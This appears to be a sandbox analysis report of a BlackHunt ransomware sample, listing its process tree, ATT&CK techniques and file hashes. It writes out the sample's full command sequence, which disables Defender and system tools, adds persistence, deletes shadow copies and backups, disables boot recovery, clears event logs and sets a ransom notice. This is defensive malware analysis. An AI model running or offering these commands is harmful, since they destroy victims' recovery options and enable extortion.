C:\Users\Admin\AppData\Local\Temp\ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe"C:\Users\Admin\AppData\Local\Temp\ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:684 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:4500
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:4576
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2252
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:5076
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4592
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2064
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2000
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2516
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵PID:4784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:4268
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:3668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:5040
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1268
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2100
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:4008
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:3300
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:3720
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:4444
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1808
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1472
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:4140
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2124
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2920
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1560
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:4464
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:3676
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:3392
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:3196
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1628
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
PID:5076
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2796
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:4428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:820
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
PID:4500
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1480
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2340
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4860
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:3668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2980
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2304
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:3376
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1576
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:988
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1528
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1552
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:4940
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:4144
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1012
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2236
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:228
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2272
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe" /F2⤵PID:3012
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe" /F3⤵
- Creates scheduled task(s)
PID:1616
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:4248
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3844
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1636
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3812
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1552
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:6164
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1168
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2688
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
- Modifies registry class
PID:4576 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3356
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:4432
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:6956
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3476
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4212
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3928
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2552
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3544
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1340
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3400
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:5904
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:6080
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:5952
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:4136
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:7012
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:2396
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:1156
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6572
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:6496
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5776
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:5876
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:7112
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:6960
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:7788
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:4808
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:1856
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2716
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:4380
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1432
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:5376
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:7584
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:6464
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:7632
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:6948
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:7672
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:6884
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:7992
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:6908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:5836
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:6748
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:2548
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4884
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:5732
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:228
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:5724
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:7136
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:6872
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:4804
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:4076
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:4780
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
PID:7072
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe"2⤵PID:1832
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:5868
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:964
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6232
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:6504
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:6588
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5a1445aed9b26e368e1950ef2c09dd3f4
SHA1dada99ab22775d274f5d84adc8a12f79909d002e
SHA256deb014158d7f492d27651942aaa0e2ad6c96f03e023ef49fdcdeffc7bf01e696
SHA512f6e55f539373367225416d2056dd7dd7966a3905e27507f36b737e0015d4c0a8ef409147117405e04858f7469d208f10b1bb91eec3f5fb10b40c0ee75cc9fbd6
-
Filesize
8KB
MD5c31c0c1ef568bbae9ce8f711a70e4525
SHA1e14a9eee7d628ee5c895b8ee961493ea00a1ca45
SHA256bc87fbcd50a974b1fccab3645806e523b48fb7223513f0909713abb9ba0b4736
SHA5123392b44a149eff5feed5b9e2512a24cf79b19ca51f319360172c53431b65f425ab2b51e9fc1ab0b1dcdc5351021294dd8915a2df3ee3999bffddb759107893ac
-
Filesize
12KB
MD5b3aa398d88e308b9b86b2874a7137390
SHA1879ca6a19e2a63129b320a495b90cc756c1a1bb7
SHA2568f0ba8ced0a7452d800fcc95c29d0938c7d3361a7bf7d0d9040fb82a93a16e3b
SHA512c6aff4c08249eda080a1ddedd1bae1833471876f9d126294b84751c7e55b00f977e186426614e4ac82dc1c39219b0c1d9399297dcad9704c6375aaef9fbb5eb7
-
Filesize
684B
MD5ea9cee4842616dda51f11d98f16771b1
SHA17655837482422cdc8ce81e4a4a97d6597506ab85
SHA256ef16069f804b75dcb22dbb497cb122bd8abc802db515e6c5f747f5ecc017154b
SHA51222ac6d0bfa1eb255b7f2e7d0b9e1b979254962e96885bef398db599dd7658d6a72d1daab5b821a3b18f90cb83cee8184cf3814aed3d26237b34cd10920c2b4cd